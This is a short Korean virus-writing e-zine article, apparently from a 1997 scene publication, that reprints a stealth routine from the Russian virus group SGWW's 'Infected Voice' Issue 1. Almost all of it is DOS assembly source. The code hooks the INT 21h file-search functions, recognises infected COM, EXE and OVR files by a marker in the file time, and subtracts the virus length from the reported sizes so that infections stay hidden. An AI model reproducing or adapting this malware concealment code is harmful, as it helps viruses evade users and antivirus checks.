
 IV Issue 1 의 스텔스 기법                                      CVC #01  97/06

----------------------------------------------------------------------> Osiris


INFECTED VOICE   ISSUE 1   SEPTEMBER 1994

  러시아 바이러스 제작 그룹인 SGWW 에서 펴낸 IV Issue 1 의 내용이다.
  스텔스기법에 대해서 다루고 있다.

        CMP  AH,4Eh             ; 파일 찾기 인가 ?
        JE   HIDE_1
        CMP  AH,4Fh
        JE   HIDE_1
        CMP  AH,11h             ; 파일 찾기 인가 ?
        JE   HIDE_2
        CMP  AH,12h
        JE   HIDE_2

HIDE_1:
	PUSH ES
	PUSH SI
	PUSH DI
        CALL PREFIX             ; 파일 찾기 수행 & DTA 주소값 얻기
        JC   ERROR
        CMP  BYTE PTR ES:[BX+16h],0Fh           ; 에러 체크
        JNE  ERROR
        TEST BYTE PTR ES:[BX+15h],11100111b     ; 감염 여부 검사
        JZ   ERROR                              ;
        CALL CEO                ; 확장자가 CO?,EX?,OV? 인가 ?
	JC   ERROR
        SUB  ES:[BX+01Ah],VL    ; 바이러스 길이 만큼 빼기
	SBB  WORD PTR ES:[BX+01Ch],0
        JMP  SHORT ERROR

HIDE_2:
	PUSH ES
	PUSH SI
	PUSH DI
        CALL PREFIX             ; 파일 찾기 수행 & DTA 주소값 얻기
        TEST BYTE PTR CS:[000Ah],0FFh  ; 에러 체크
        JNZ  ERROR
        CMP  BYTE PTR ES:[BX],0FFh      ; 확장 FCB 인가 ?
        JNE  SIMPLE
        ADD  BX,7               ; + 7
SIMPLE:
        TEST BYTE PTR ES:[BX+17h],0Fh
        JNE  ERROR
        SUB  ES:[BX+01Dh],VL        ; 원래 길이 - 바이러스 길이
	SBB  WORD PTR ES:[BX+01Fh],0
ERROR:
	POP  DI
	POP  SI
	POP  ES
        PUSH BP
        MOV  BP,SP
        MOV  AX,WORD PTR CS:[000Ch]     ; 밑에서 저장했던 플래그를
        MOV  [BP+6],AX                  ; 복구
        POP  BP
        MOV  AX,WORD PTR CS:[000Ah]     ;
        IRET
	
PREFIX  PROC NEAR
        INT  21h
        MOV  WORD PTR CS:[000Ah],AX     ;
        PUSHF
        POP  AX
        MOV  WORD PTR CS:[000Ch],AX     ;
        MOV  AH,2Fh                     ; DTA 주소 얻기
	INT  21h
        RET
PREFIX  ENDP

CEO     PROC NEAR
;       확장자가 COM,EXE,OVR(OVL) 인지 검사한다.

	PUSH AX
	PUSH CX
	PUSH DI
	MOV  DI,BX
        ADD  DI,1Fh                     ;
	CALL COMPARE
	POP  DI
	POP  CX
	POP  AX
	RET
CEO	ENDP

COMPARE PROC NEAR
	CLD
        MOV  AL,2Eh     ; '.'           ; 확장자 ?
	MOV  CX,41h
	REPNE SCASB
	MOV  AX,ES:[DI]
        OR   AX,2020h                   ; 대문자로 변환
	CMP  AX,6F63h	; 'CO'
	JE   PLUS
	CMP  AX,766Fh	; 'OV'
	JE   PLUS
	CMP  AX,7865h	; 'EX'
	JE   PLUS
	STC
	JMP  SHORT MINUS
PLUS:
	CLC
MINUS:
	RET
COMPARE ENDP